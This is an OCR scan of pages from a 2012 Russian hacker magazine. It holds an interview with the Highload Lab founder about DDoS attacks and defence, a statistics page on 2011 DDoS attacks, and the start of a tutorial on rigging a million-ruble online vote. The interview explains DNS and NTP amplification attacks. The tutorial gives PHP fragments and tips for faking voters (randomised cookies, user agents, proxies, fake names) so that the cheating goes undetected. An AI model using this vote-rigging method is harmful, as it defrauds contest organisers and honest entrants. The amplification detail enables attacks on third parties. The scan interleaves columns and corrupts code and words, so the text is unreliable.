Не скажешь ведь: " Я был первым, кто заказал
атаку в 1998-м!» Знакомство с
DDoS для меня лично IT Territory в 2003
началось
во время проекта
году,
когда игра только стартовала. Она имела до статочно агрессивную рекламную кампанию,
в ответ на которую тут же прилетел
DDoS
от конкурентов. Скажу честно, я растерял ся. Больше всего из-за того, что компания, которая оказывала хостинг-услуги, не просто
не смогла, а не пожелала бороться с атакой. Ее представители сказали, что это не их про блема. Буквально за ночь мы переосмыслили структуру приложения и перестроили его.
Ресурс поднялся, но атака перестала рабо тать на уровне приложения. Злоумышленники перевели атаку на сетевой уровень, в резуль тате чего отключилась вся сеть компании,
предоставляющей хостинг. Тогда уже она пришла к нам с просьбой сделать что-нибудь. На вопрос «а что сделать-то?» последовал
ответ: «Ну договоритесь как-нибудь, вы же знаете, кто вас атакует». Мы, естественно, не знали и договориться не могли. Да и как
договариваться с террористами? Компания, которая, казалось бы, должна заботиться о клиентах, не сделала ничего.
ХАКЕР
02 / 157/ 20 12
Борьба с DDoS-ОМ глазами
Highload Lab
АЛЕКСАНДР ЛЯМИН
БОРЬБАС
DDOS-OM ГЛАЗАМИ HIGHLOAD LAB
и не п о тому, что она плохая и хостинг некаче
рынке, но все ее информационные структуры
не спадала . Такие атаки называют комбиниро
с тв е нны й , а потому, что она не могла ничего
расположены в одном из ведущих европейски х
ванными. Когда они к нам пришли, она велась
сд е лать .
дата-центров. Когда компания к нам обрати
на сетевом уровне , на полосу . Когда злоу
лась, дата-центр испытывал серьезные про
мышленники увидели, что заполнение полосы
Самые популярные DD05-атаки
-
это,
конечно, атаки, организованные с помощью
блемы и был недоступен . Мы подготовились
вообще не дает результата, началась атака
к приему компании на своей сети и прогрели
аррliсаtiоп-уровня. В ботнет, использовавший
ботнетав . Это доступный способ сделать атаку
карантинное оборудование, ожидая чего-то
ся для проведения атаки , входило порядка
распределенной.
экстраординарного, ведь дата-центр « умер " !
200-270 тысяч
ботов .
Каково же было наше удивление, когда мы Стоимость атаки сильно зависит от того, как
увидели, что, хотя атака проводится на уровне
Наиболее подвержены DD05-атакам доста
она реализуется. Исполнителем может вы
выше среднего, она не представляет собой
точно узкие направления интернет-бизнеса
ступать студент, который сам что-то написал
ничего особенного .
с высокой конкуренцией. Хороший пример
и готов поработать за пиво, а может и органи зо ваннаягруппировка.
пиратские клоны Liпеаgе
11. Такие
сервисы
-
Законодательство крайне слабо в вопросах
вообще отдельная история, ведь они являются
привлечения к ответственности за
чисто коммерческими . Если в два часа ночи
DD05,
Ica с тучится кто-то и, допустив восемь
Есть типы атак, которые могут стоить,
иэ-за чего злоумышленники чувствуют себя
к тебе в
по слухам, полмиллиона рублей и больше. Мы
фактор безнаказанными. Для квалифициро
орфографических ошибок в четырех пред
выделяем атаки базового типа: до пяти тысяч
ванного программиста проведение DDoS-атак
ложениях, требует 'Н, чтобы ты немедленно
батов, проведение на уровне приложения,
на заказ становится абсолютно безопасным
ему помог, можно не сомневаться, что это он!
одна стратегия. Для исполнителя тут нет ни
прибыльным делом, доход от которого может
Администратор пиратки
чего сложного
превышать текущие зарплаты на рынке в де
WMZ, нажал кнопку, пошел пить пиво . Это стоит примерно $30-100 -
получил
Lineage!
DD05-атакам подвергаются и те сайты, где
сятки раз.
в су тки . Но есть и атаки другого рода, когда
трудно их ожидать. У нас, например, есть
видно , что работает команда, и работает она
Мотивы для
24/7 - на результат. Если у нее не получается
и просто личная неприязнь. Dе
добиться результата , она постоянно пере
в информационном обществе. Скорость рас
дает кедровые бочки, подвергся серьезной
ключает режимы атаки, меняет стратегию,
пространения информации влияет на него
DDoS-атаке. Это очень узкий, высококонку
пытается найти уязвимое место и прорваться .
прямым образом. Заблокировав источник
рентный вид деятельности, которая , видимо ,
Конечно, такое стоит далеко не
информации, можно необратимо повлиять
приносит хорошую прибыль .
$100 в сутки.
DD05 -
это, как правило, деньги
на общество. Соответственно,
facto
DDoS -
мы живем
такой внутренний мем
-
«кедровые бочки».
Онлайн-магазин, который, не поверите, про
это эф
Россия выделяется среди других стран гораз
фективноесредствоблокировки какого-либо
Т ЕХНИЧЕСКАЯ СТОРОНА
до более изощренными атаками. Европейцы
источника информации на необходимое время .
Зачем вообще нужно классифицировать ата
0005
ки? Чтобы понять, разложить по полочкам их
в шоке от того, насколько сложны наши атаки.
Например, к нам недавно обратилась одна
в качестве при мера можно привести сайт
механизм работы и предпринять адекватные
к омпания, которая работает на российском
510п.гu. Сайт работал , всё грузилось, но атака
контрмеры.
ХАКЕР
02/157/2012
025
COVERSTORY Наши коллеги по цеху пытаются как-то клас
уязвимости подобного рода при плохо сконфи
просто отключить его , так как боится, что по
сифицироватьатаки. На одном сайте можно
гурированных серверах.
лягут и другие его клиенты.
найти и ICMP spoof, и DNS amplification, и ТСР SYN flood, ТСР RST flood - парни перечисляют
Атака типа SУN-флуд появилась одновременно
Когда к нам приходит клиент, мы объясняем,
техники проведения атак. Много страшных
с ТСР-протоколом. Первое упоминание о ней я
что ему необходимо перевести
букв, которые для обычного пользователя ни
встретил, по-моему, в
IP-аАрес [которой мы ему выделяемl. Также,
какого смысла не несут. Такая классификация
она эффективна по сей день. История разви
чтобы избежать атаки на прямой
нас не устраивает.
вается по спирали. Сто-пятьсот SУN-запросов
который уже засвечен в сети, необходимо его
в секунду -
как минимум поменять, а как максимум
1982 году.
Как ни странно,
это, конечно, этап давно пройден
DNS IP
на наш
клиента,
-
по
Мы классифицируем атаки очень просто:
ный. В настоящее время при наличии достаточ
менять этот
атаки на приложения, атаки на канальную
ных процессинговых мощностей можно легко
мощью настроек
полосу [скорость измеряется в гигабитах/сl , атаки на сетевую инфраструктуру [скорость из
превзойти и цифру в
IP-аАреса , кроме наших.
меряется в пакетах в ceKYHAyl, атаки на транс портный уровень [стек TCP/IPI.
в момент отправки пакета с запросом
Как только перестраивается
на соединение партнер должен сгенерировать
ся фильтрация. А дальше происходит самое
Самая мякотка
-
это уровень приложения.
1О
млн пакетов в секунду.
IP
и дополнительно скрыть с по
iptabIes
или файервола все
DNS,
начинает
sеquепсе-номер [а это требует вычислений, так
интересное
как он должен быть случайным, криптостойким
задаем для себя планку: после двух часов под
-
обучение фильтров. Обычно мы
Почему? Потому, что у атак уровня приложения
числомl и создать в своем стеке определенною
ата1<ОЙ ресурс клиента должен начать рабо
плечо максимально. Плечо атаки
запись. На это нужны ресурсы, ресурсы и еще
тать . И в целом ее выдерживаем.
-
это отно
шение ресурсов, необходимых на стороне ата
раз ресурсы. На то, чтобы послать пакет, сге
кующих, к ресурсам , необходимым на стороне
нерировав его трафик, требуется существенно
Система защиты нашего сервиса
приложения [на стороне защищающихсяl .
меньше ресурсов, чем на действия, выполняе
основана на множестве математических по
мые на стороне сервера . Получаем плечо атаки.
строений. Как обычно отвечает Яндекс на во
Возьмем какой-нибудь средний интернет
Qrator
прос «а как у вас поиск устроен? » ? Да просто!
магазин. Можно найти ссылку, обычную ссыл
Проблема существует внутри самого протоко
ку, определенное количество обращений в се
ла, в его спецификации. Когда разрабатывал
индескы, ранжируем . У нас примерно то же
кунду к которой убьет этот магазин напрочь.
ся TCP/IP-стек, никто не думал, что интернет
самое, только мы решаем задачу по анализу
Берем текст, токенчики, разделители, строим
Таких приложений много, и для того чтобы их
разрастется до таких масштабов по количе
и фильтрации трафика. Ее решением занято
убить, иногда и ботнет не нужен -достаточно
ству узлов, достигнет таки х скоростей и, что
множество людей.
сотового телефона даже не с
немаловажно, будет прокачивать через себя
EDGE,
а с
GPRS.
Четыре-пять запросов в секунду, и приложение
выкидывается в
outflow
Поведенческий анализ
столько денег.
-
один из наиболее
эффективных методов фильтрации трафика.
и не может выйти отту
да до перезагрузки сервера . Этим обусловлена
Существуют атаки, которые не используют
Мы рассматриваем сайт как дерево перехо
популярность атак на уровне приложений .
ботнеты. Распределенную атаку можно про
дов. В узлах дерева находятся странички, а в
вести и с помощью механизма отражения.
ребра мы закладываем вероятность перехода
Еще есть транспортный уровень -
атаки, на
правленные на сам стек ТРС/lР. К этому типу
Классика жанра
-
атаки
DNS
аmрlifiсаtiоп
тот простой факт, что роботы и люди видят
Атаки на инфраструктуру затрагивают всё,
на обучение достаточно, люди «натаптывают»
относятся атаки типа SУN-флуд, RSТ-флуд или
FIN-way- модная
сейчас атака с некоррект
и задержку при переходе. В основе лежит
с отражением и увеличением мощности.
веб-страницы по-разному. Когда времени
ным закрытием соединения, которая, кстати,
что лежит вокруг сетевой инфраструктуры:
В зтих переходах определенные уплотнения
тоже эксплуатирует уязвимость спецификации
протоколы маршрутизации и само оборудова
-тропинки . Всё посетители, которые из них
ние, если менеджмент-модули имеют откры
выпадают, с той или иной вероятностью явля
протокола, а не реализации.
ются роботами . Вроде бы всё просто. С другой
тый IP-аАрес. К наиболее популярным методикам относится
DNS amplification. Достаточно найти любой сетевой сервис IDP based без handshake, послать пакет размером N с фальсифициро ванным источником и в ответ получить пакет
N
стороны, если прикинуть, какие объемы па Что такое атаки на сетевом уровне? Просто
мяти и вычислительные ресурсы понадобятся
залить полосой в
для обработки, ты поймешь, что, наверное,
56
Гбит
-
это
clustery sort
называется. Это последнее средство, когда
при текущих вычислительных мощностях зто
ничего уже не помогает. Такие атаки очень до
не так-то просто.
х К. В таком случае для реализации распреде
роги и чрезвычайно разрушительны не только
ленной атаки нужно иметь список IP-аАресов ,
для самой жертвы, но и для всех, кто «стоит
Если клиент приходит к нам уже под атакой,
на которых есть эти сервисы, один очень
рядом» . Как правило, они не могут продол
обучаться на атаке .. . не невозможно , но слож
хорошо подключенный сервер на гигабите ,
жаться дольше двух-трех суток, так как начи
но. Часто это требует мониторинга со стороны
который выдаст набор па кетов в эти «отра
нают доставлять проблемы даже источникам
инженера. Именно поэтому за подключение
жатели» с поделанным IP-аАресом жертвы.
атаки
-
сетям, с которых она производится.
Пакет отправится к жертве и снизит до нуля ее
пропускную способность и выведет ее из ра
Базовые атаки, совершаемые с помощью
бочего состояния. Речь идет о сервере
ботнетов, которые насчитывают около
- UDP 53,
DNS
где можно сделать такую штуку, как
под атакой мы вынуждены брать некоторую дополнительную плату.
ботов И ничего, кроме
«get
200
корень » , не умеют,
Мы рекомендуем подключаться к нашей сети до DDoS-атаки. Конечно, мы стараемся мини
рекурсивный запрос по зоне. Сам по себе он
в принципе не должны представлять собой
мизировать время обучения под атакой . У нас
небольшой, а вот ответ на него будет длинным.
проблему для грамотно написанного ресурса.
оно составляет не неделю, как у
[это наш железный конкурент, который снят с производстваl, а всего несколько часов.
Чтобы дополнительно увеличить коэффициент К атаки, достаточно «подкормить» эти сервера
О ЗАЩИТЕ ОТ
каким-нибудь большими фальшивыми домен
От любой атаки можно защититься. Мы в этом
ными зонами. Получая их рекурсивно, с под
не сомневаемся .
DDOS
Любой, кто скажет, что
дельным адресом жертвы, можно увеличить К в разы . Второй вариант -
это
NTP, протокол
синхронизации времени, который тоже имеет
026
ноль, Обычно, когда на клиента начинается
DDoS-
атака, хостер не находит ничего умнее, чем
-
Cisco Guard
false positive у
него
шарлатан. Ложные срабатывания
[когда в черные списки попадают легитим ные посетителиl, к сожалению, неизбежны.
ХАКЕР
02 /1 57/ 201 2
Борьба с
Хотя бы потому, что есть прокси, есть
OOOS-OM
глазами
Highload Lab
Внутри точки присутствия система тоже мас
руководство по выживанию в
0005»,
есть просто люди, которые ведут себя не как
штабируема. Точка
мы показывали на
в
обычные пользователи. Классический при мер
ИХ несколько. Есть карантинное оборудова
NAT'bI,
администраторы саЙтов. Администратор
-
может нагрузить сервер, как
30, 40
и даже
100
это не одна «железка»,
-
Cisco Guard у
2009
которую году.
ние, на которое «приземляются» некоторые
Мы пытались писать статьи на Хабре и рас
атаки.
сказывать на отраслевой конференции, как
Мы создали модель, позволяющую мате
уровня . Но, к сожалению, зто не возымело
матически рассчитать, как распределит-
никакого эффекта.
пользователей.
к
Highload++
самостоятельно защититься от атак базового нас была одна претензия:
когда к нему подключаешь атакуемый сервис,
ся трафик по интернету при появлении
то независимо от того, есть там инженер или
определенных анонсов
нет, первые сутки сервис работает так, что
нам гармонично развиваться и строить сеть,
DDoS -
лучше бы он не работал вообще. Отсюда стало
которую действительно можно балансировать
ботнета, но далеко не самый прибыльныЙ. Еще
ясно, что от 0005-атак невозможно защищать
по узлам.
BGP.
Это позволя-ет
1,IИ,iilii'tt4 это один из способов монетизации
есть спам, фрод, скликивание рекламы и так
на прикладном уровне, не понимая семантику
далее.
протокола приложения. Семантический анализ
Мы не завязаны на одного оператора связи
обязателен, как и поведенческий.
и стараемся распределять риски по всем опе
я перечислил свойства ботнета на слайде для
раторам, с которыми работаем.
одной достаточно старой презентации. Когда
Мы отчетливо понимаем, что «серебряной
я делал тот слайд, он казался мне абсолютно
пули нет»: то, что будет хорошо работать
Мы долго пытались разобраться с ТCP/IP
правильным:
в одних ситуациях, не будет работать в дру
стеком, смотрели на
1.
гих . Классификатор
пришли к выводу, что стек в его теперешнем
Qrator -
это сложный
Free
В50 и
Linux
и в итоге
набор алгоритмов, которые образуют систему
состоянии нам совершенно не нравится.
голосования . Инструментарий мы стараемся
У нас есть своя облегченная версия
TCP/IP,
Жадность. Ботнет старается нанести при ложениям как можно больше вреда за еди ницу времени.
2.
Ущербность . Ботнет не являет браузером.
развивать и дописывать и, надеюсь, найдем
которая очень хорошо себя ведет на текущих
Это некий НТТР-стек, встроенный в червь .
еще какие-нибудь эффективные методы в бли
короткоживущих протоколах, быстрых ТСР
Как правило, он не умеет ставить коррект
жайшее время. Кое-какие задумки уже есть.
соединениях.
ные заголовки, не обладает J5-движком или обладает в ограниченном виде.
Примерно в один миллион долларов обой
3.
дется железка от АгЬог, способная почистить
10
Гбит. Плюс человек, плюс канальные
емкости ... При этом атаки скоростью выше
10
Гбит/с мы наблюдаем примерно раз в месяц полтора.
Мы склонны выделять два типа полос: актив ные и пассивные. В активноц полосе можно
терминировать и проанализировать любое ТСР-соединение и принять по нему решение. Полоса пассивная
-
зто полоса, для управле
ния которой нужно задать бит- маску, по ко
торой будет резаться трафик. Таким образом, что-то интеллектуальное там порезать нельзя .
Если говорить об активной полосе, то почти
и любые действия, приводящие к сокраще нию его размера приносят прямые финан
КОГДА
совые убытки атакующим. Ботнет старается не производить действий, которые могли
РАЗРАБАТЫВАЛСЯ
бы его демаскировать и отразиться на ма теринскоЙсистеме.
TCP/IP-CTEK,
4.
НИКТО НЕ ДУМАЛ,
5.
ЧТО ИНТЕРНЕТ
На такой
UOP с определенного адреса, ICMP по определенной сигнатуре. полосе мы спокойно проживали 57 или
Конечность.
Пару лет назад мы первый раз увидели медленный ботнет, который не был жадным ...
РАЗРАСТЕТСЯ
Он делал один абсолютно легитимный запрос
ДО ТАКИХ МАСШТАБОВ
раз в пять минут. Мы удивились, но при зтом ботнет, насчитывавший
75
тысяч ботов, всё же
доставлял проблемы. Попробуйте-ка отфиль
мости блокируют
ICMP
Транснациональность. Ботнеты раскиданы по всему «шарику».
все наши поставщики трафика при необходи все
Самосохранение. Ботнет- ценный ресурс,
тровать ЭТО. Мы не скрываем, что узел фильтрации рабо
тает под управлением
Linux. Линкус -
зто
Сейчасизвсехпунктов,перечисленных
Гбит. Уверены, что можем проживать и больше.
такой контейнер, в котором осуществляется
выше, остался только один
Такие атаки не вызывают особых проблем,
управление платформой и выполняются мате
ботнета самосохраняться. Ботнеты уже давно
кроме необходимости оплачивать эту полосу,
матические преобразования, необходимые для
не жадные, не тупые и не ущербные. Сейчас
то есть мы говорим о цифре более
поведенческого анализа. Существенная часть
мы имеем дело с полноценными минимизиро
пассивной полосы . Как следует из ситуации
ТСР-стека живет в самой ТСР-карте, позтому,
ванными веб-браузерами с Jаvа-скриптами,
с 0005-атаками на российском рынке, зтого
собственно, у нас получились такие хорошие
редиректами,
вполне достаточно.
показатели скорости\обработки пакетов. Один
100
Гбит для
наш узел фильтрации в состоянии перелопа
Преимущество
Qrator IKaK
сервисаl перед
тить
6 Гбит трафика.
купленным АгЬог состоит в том, что наше ре
От атак базового уровня защититься можно.
желание
cookies.
Раздать команды членам 20-тысячного бот нета с учетом того, что инициатором соедине
ний является сам бот,
шение не является точечным. Сеть построена
-
-
задача не самая три
виальная. Как правило, контрольные панели,
по BGP-АпуСаst, мы выбираем для установки
Для этого нужно обязательно иметь выделен
к нашему удивлению, пишутся на том же самом
точек исключительно магистральных опера
ный хостинг, а также возможность скомпилиро
торов. Мы не ставим точки на
вать модули и свою версию веб-сервера. Статей
LAMP 5tack ILiпuх, Apache НТТР 5erver, My5QL и PHPI. До 2010 года разворачивание ботнета
pubIic exchange
просто потому, что это не гарантирует качества
на зту тему написано много, и я, наверное,
пятитысячника в направлении ресурса жертвы
сервиса . Сеть развивается благодаря нашим
отошлю вас к своей статье 2008 года Iнайти ее можно в блоге на highloadlab.rul. Это одна
занимало
собственным алгоритмам моделирования. Мы
30-40
минут.
строим ее так, чтобы можно было распреде
из первых статей, в которой доступно изложено,
в 2010-м управление ботнетами начали орга
лять нагрузку на злементы сети более-менее
что и как следует сделать. Также рекомендую
низовывать с помощью Р2Р. Ребята стали про
равномерно .
ознакомиться с презентацией «Практическое
сто супербыстро раздавать команды : в течение
ХАКЕР
02/157/2012
027
COVERSTORY пяти-шести минут ботнет, насчитывающий
20
10-
тысяч ботов, может распространить команду
внутри себя и развернуться на ресурс .
по изъятию его тела и, самое главное, у нас
восемь инженеров и четыре других сотрудни
нет своих специалистов, способных делать
ка . Двое из них внештатники из Москвы. В на
обратный инжиниринг кода, ориентированного
чале года, если всё пойдет хорошо, мы хотим
на Wiпdоws-системы.
пригласить в компанию еще двух инженеров.
Ботнеты стараются как можно более точно
Так же как и Яндекс, мы ищем математиков,
имитировать поведение пользователей, чтобы
О
затруднить их обнаружение и фильтрацию, вы
Идея заниматься DDoS-атаками возникла
HIGHLOAD LAB
которые могут программировать, работать
с данными !структурированным и плохо струк турированнымиl.
у нас еще в МГУ. Мы посмотрели, как обстоят
деление тела ботнета и блокировку.
дела с устойчивостью к внешним воэдействи в последние три месяца особой популярно
ям у правительственных ресурсов .И с устой
к сожалению, мы не занимаемся реверс
стью пользуется ботнет
чивостью веб-приложений в России в целом.
инжинирингом, но видим, что каждая атака
добывает ВitСоiп. Он приходит на титульные
Стало понятно, что наши услуги, скорее всего,
имеет свою сигнатуру и логику.
страницы без реферера, случайным образом,
будут востребованы. Ведь отвалившийся
MinerBot,
который
Мы существуем у'же год. Это был не самый
переходит по ссылкам и действительно созда
интернет-магазин
ет проблемы для решений вроде
его владельца, но отвалившаяся налоговая
легкий год . В какие-то моменты было очень тя
инспекция
жело и финансово, и морально. Но за это время
Cisco
и АгЬог.
Они не в состоянии отфильтровать МiпегВоt,
-
это проблема только
-
это проблема всей страны .
потому что он не обладает ни одним из тех
мы выяснили, какие вопросы воэникают при
изъянов, на обнаружение которых ориен т иро
Начать исследования
ваны эти решения .
инициатива . Универс.итет предоставил инфра
Ботнеты также перестали быть транснацио нальными
-
это была моя личная
-
эксплуатации сервиса, поняли, как формиро вать тарифную стеку. Поскольку услуга новая,
структуру, я на свои деньги закупил оборудо
никто не знает, как ее продавать. Все предло
вание.
жения на рынке имеют те или иные изъяны.
загрузки легко продают по регио
нам . Первый раз мы такое увидели в когда к нам «пришел» ботнет на
1500
году,
2009
г олов,
и все чистое снг.
в
2008
году у нас возникла идея. В
2009
году
Highloadlab
появилась бета - версия продукта, которую мы
прибыльна. В этом году мы плани
руем проводить серьезные технические раз
обкатывали в режиме открытой беты большую
работки
часть
специализированных сетевых процессоров
2010
года. Мы принимали у себя на пло
-
будем строить новую версию своих
щадке любой терпящий бедствие проект.
-
довольно модную атаку. Ботнет обнаруживает,
Стало ясно, что с этой задачей мы справляемся
заинтересованными компаниями: хостинг
что он весь зафильтрован, раздает команду
неплохо, даже располагая ограниченной уни
компаниями, телекомами.
и централизовано прекращает атаку. После
верситетской инфраструктурой. Мы, к примеру,
этого рандомный член ботнета посылает
помогли г азете «Ведомости». Было здорово.
«Засыпающий ботнет»
так мы называем
-
:1
и активно развивать партнерство со всеми
Одна из наших целей
-
обеспечить защиту
для мелкого бизнеса. Это самая незащи
тестовые запросы в ожидании, когда фильтр отключится. Как только он отключается, атака
к коммерциализации нас подтолкнула необхо
щенная от атак прослойка. Многие компании
в течение трех-пяти минут возобновляется
димость: в июне
берут за эащиту от DDoS-атак от
в полном объеме. Это опасно тем, что подобная
емкость университетской сети составляла
атака может длиться бесконечно
Гбит, на нас упала атака в
-
никаких
2010
года, когда максимальная
12,5
50 - 100 тысяч,
и, если мелкий бизнес столько заплатит, он
10
Гбит. Атака по
разорится. Для предприятий малого бизнеса
ресурсов, с точки зрения ботовода, она не по
казала, что фильтры справляются, и мы легко
у нас есть специальный тариф
требляет.
сможем преодолеть и более мощную атаку,
Но это не значит, что по более низким расцен
но нужны канальные емкости. Это ценный и до
кам мы работаем хуже. На всех наших тарифах
- 5000
рублей.
Разные ботнеты здорово отличаются друг
рогой ресурс, но проигрывать тоже не хочется .. .
испольэуется одна и та же система, качество
от друга. Сама техника атак постоянно меня
У нас были какие-то свои накопленные сред
фильтрации везде одинаково.
ется.
ства, на которые и были эакуплены канальные
с ботнетами-миллионниками наблюдается
емкости. Также было закуплено дополнитель
Мы предельно аполитичны. Во время выборов
ное оборудование.
нашими клиентами были «Слон», New Times, golos.org, «Эхо Москвы», «Новая газета» СПБ, Forbes, PubIic Post, «Ведомости» .. . В общем,
очень интересная ситуация. В последние не
-
сколько лет существенно возросло количество
Нам повезло с запуском
тех, кто хотел бы обзавестись своим ботнетом.
тельный стресс-тест. То есть
Простой эксперимент : поставим
ну как раз поставил последнюю точку входа, а
SP1
Windows
ХР
на честный IP-аАрес. Сколько он проживет
до того, как на него что - нибудь «приземлит
у нас был замеча
1 сентября
я по пла
сентября к нам пришел Хабрахабр под атакой
2 6
Гбит. Мы получили бесплатный стресс -тест.
мы приняли под свое крыло всю оппозицию.
Но даже с большим удовольствием мы бы по работали с тем же ЦИК. НО ЦИК к нам не при шел.
СЯ», даже если не открывать веб-бразуер? Максимум пять минут. Есть много команд,
Трафик
которые борются за увеличения тела ботнета,
расходов. Его тратится не просто много, а очень
а само предложение уязвимых систем крайне
много.
-
это одна из наших главных статей
Единственный критерий для нас
-
ресурс
должен обязательно соблюдать все законы. Мы принципиально не связываемся с сайтами,
ограниченно. Соответственно, количество
содержащими пиратский контент, имеющими
ботнетов растет, а вот их размеры медленно,
Компания работает в нескольких направле
нацистскую или порнографическую направ
но верно снижаются . Ботнеты уже начинают
ниях: мы разрабатываем на заказ высокона
ленность, с фарма-партнерками и прочей
пересекаться, то есть один компьютер являет
груженные веб-приложения и консультируем
интернет-грязью.
ся членом нескольких ботнетов сразу.
по вопросам их создания. Второе направление, самое перспективное для нас, самое динамич
Мы подумали, что если бы нам удалось соз
Ботнетов на десятки миллионов компьютеров
но развивающееся,
дать систему, построение и функционирова
становится всё меньше и меньше. Ими обла
продукт, система фильтрации трафика
дают совсем уж джедаи.
В него мы инвестируем практически всё, что
ведение атаки, способной убить эту систему,
зарабатываем.
то мы бы ликвидировали экономическое плечо
:1
-
это наш «коробочный»
Qrator.
у нас нет возможности делать реверс
ние которой обходилось бы дешевле, чем про
атаки. Атаковать стало бы невыгодно. Исходя
инжиниринг кода ботнета, потому что
На данный момент в нашей компании работа
из этого, мы и строили идеологию развития на
у нас нет административных возможностей
ет
шего решения.
028
12 человек.
В нетехнический штат входят
I
ХАКЕР
02/157/2012
Формула
DDoS
в прошлом году для многих стал ясен неожиданный факт: если какой-то сайт нужно положить, то это вполне можно устроить. (колько DDoS-атак устроивается за год и насколько они эффективны
-
разбираемся с ц)t1фрами от
Highloadlab.
~--------------------------------~v~--------------------------------~) Компоненты DDoS-атаки
Статистика DDoS-атак в
1861 -
ботов
Всего было
средний размер
2011
году
1905
эффект
.... . ...... . ........................... .. .. ... .................. ..
Какие цели у атакующих?
340
атак
34
без ботов
атак
производимый
атаки
реклама
мощностью
ботнета
выше
ГБ/с
1
Самые мощные атаки
Атаки по месяцам: Январь
437
Февраль Март
56
Гбит/с
-
максималь
486
Ч. -
максимальная
количество
239 991 -
ная
продолжительность
ботов с самом большом
мощность
атаки
ботнете
392
303
Апрель
I
Май
политика
87
22
атаки
Кого чаще всего DDoS-ят?
Июнь Июль
85 103
Август
89
Сентябрь Октябрь
DDoS -
это метод
конкурентной
атаки были на магазин
борьбы
'ДАННЫЕ НА СЕРЕДИНУ ДЕКАБРЯ
ХАКЕР
02/157/2012
Самые продолжительные кедровых бочек
:)
Наибольший суммарный трафик
-
Ноябрь
убеждения
52 85
143
магазин
магнитны х игрушек
Де к абрь
107'
деньги
2011
029
СОУЕ RSTO RY
Iqbzl
тить
ак нак
миллион ПОЛНЫЙ гид
ПРЕДЫСТОРИЯ Как-то раз, глубокой ночью, когда все нормальные люди уже спят, я сидел и о чем-то яростно дискутировал с другом в аське . В этот
ПОНАКРУТКЕ
момент ко мне постучался клиент, который предложил плевую,
ОНЛАЙН-ГОЛОСОВАНИЙ
на первый взгляд, задачу, суть которой заключалась в накрутке определенного количества голосов в одном онлаЙн-голосовании.
Само голосование проходило за лучший короткометражный автор ский фильм. Уже имея опыт накручивания всевоэможных счетчиков,
Конкурсы с голосованием
я сначала подумал, что потребуется набросать очередной скрипт
модный тренд . Они привлекают
Сомнения закрались, когда я увидел главный приз конкурса
большое количество
миллион рублей.
посетителей, а трафик, как
прибегла администрация сайта при таком существенном спонсиро
из пары запросов на
вании. Ниже
030
-
мой отчет о том, как я последовательно решал про
IMJ:J'11I1
где за победу предлагаются
Сразу предупрежу, что в подобных голосованиях отслеживается
лакомые призы. В этой статье
в подобных опросах.
- один
блемы, необ х одимые для реализации эффективного накрутчика .
интерес вызывают конкурсы,
своеобразном способе участия
проходящих череэ прокси-сервер .
Тут мне стало интересно , к каким методам защиты от накрутки
известно, это деньги. Особый
я хочу рассказать о довольно
cURL,
IP-аАрес каждого запроса, но подробно рассматривать это проблему мы не будем. На нашем диске ты найдешь все скрипты и функции, описанные в статье .
Существует довольно много способов добыть свежие прокси , а с технической точки зрения смена прокси для выполнения нового за проса решается всего одной строкой с
cURL:
ХАКЕР
02/157/20 12
Как накрутить миллион
Разработку накрутчика всегда стоит начинать с разведки. Я решил не изменять этому правилу и, прежде чем голосовать ,
запусти л свой снифер. Для идентификации нас как уникального посетителя сайт сначала ставил в куки банальную сессию. Затем ресурс предлагал указать возраст для подтверждения совершен
нолетия !скорее всего, потому, что некоторые фильмы были « для
взрослых»l. Посмотрим на зто с точки зрения накрутки: скрипт каждый раз пров еряе т дату рождения, поэтому было бы глупо производить на
крутку с тысяч IP-аАресов с одинаковой датой рождения. А значи т, первое, что мы должны предусмотреть,
-
и рандомную генерацию даты рождения в
Панель для управления сервисом для распознования САРТСНА'ей
это граббинг сессии
cookie . Для
этого в самом
У НИК А ЛЬНОСТЬ ЗАГОЛОВКОВ
начале нашего скрипта мы объявим глобальную переменную с ра
8 любой
нее сгенерирова нной датой в кукисах:
Но данный случай, скорее, представляет собой исключение из пра
накрутчик сразу же хочется добавить многопоточность.
вил, и многопоточность нам то.лько помешает. Если проголосо$c.ookie_s.e.~:;:j.Q!J ..=
array( .....
'BIR1}JDf\Y.=.' , r~nc!( 1 , 29 ). 'IS_1!!ЩQJ;J~,,1' ,
вать в одну секунду тысячу раз , а потом весь день не голосовать
' . с_' ,.r.<lлd( l , 12 ).
<..гапd(;I.9бе> J9S~ » ...
'..
вообще, это будет слишком подозрительно. Поэтому мы прибегнем к поочередному голосованию, во время которого к тому же будем
, LANG=eo.' ......
делать паузы .
8добавок следует отметить, что браузер Iзаголовок User-Agentl
);
тоже нужно генерировать всегда рандомна, так как для пущей
достоверности у всех Ботов должны быть разные «браузеры». Для
Теперь, после того как мы подтвердили, что уже взрослые
дядьки, нам следует зарегистрироваться. П ереходим на страни цу регистрации и видим, что нас просят ввести имя, фамилию,
e-mail,
на который придет активационный код, и текст с капчи.
этого у меня давно подготовлен скрипт с большим количеством юзер-агентов, который ждет тебя на нашем диске. Достаточно про
сто добавить две строки:
Данные для первы х дву х полей, а именно фамилию и имя, мы тоже должны генерировать каждый раз разные, так как
20 тысяч
голо
сов от Петра Сидорова немного насторожат администратора.
:1
:i.ш;lцdе ( ' ./useraE~nts , l.ib.p!Jp .~J;
....
$!;J'lQ~ел_usеrаgепt ...=.. сhО.9sеВ.гQJ'Ш~Г.О.;
Имена и фамилии легко достать в интернете или спарсить
самому с какого-нибудь сайта имен и фамилий. А вот с активаци онным ко дом и капчей придется повозиться. Хорошо, заполняем
Таким образом, мы получим рандомный браузер из
воз
150
можных. Идем дальше. Сайт сразу устанавливает сессию, которая
форму, нажимаем «Зарегистрироваться» И топаем на мыло. Там
потом передается в каждом запросе через
нас ждет письмо со ссылкой на подтверждение регистрации. По
что нам нужно сделать при работе с сайтом,
cookie. Поэтому первое, - это придумать, под
сле активации аккаунта нам следует авторизоваться, то есть зай
какой браузер мы будем маскироваться IUsег-Аgепtl, и получить
ти на страницу авторизации и отправить логин и пароль. При этом
сессию, чтобы потом вставлять ее в каждый запрос.
мы получаем в кукисах вторую сессию, отвечающую за доступ
к аккаунту. Затем нужно перейти на страничку видеоролика, ко
8 cURL
есть возможность манипулировать сооkiе-записями,
но я не люблю этот способ и сохраняю куки в глобальной перемен
торый мы накручиваем, и нажать кнопочку « Голосовать ». Запрос
ной, которая доступна из всех функций. Для это го просто составля
передается через
ем запрос с предустановленным юзер-агентом к главной странице
8
Ajax,
что немного ускоряет процесс накрутки .
принципе, это все. Но не забываем, что на кону целый миллион,
поэтому нам нужно учесть все детали и мелочи, чтобы на кру тку нельзя было заметить .
сайта, получаем куки, которые возвращает сервер, и сохраняем их в переменной для дальнейшего использования.
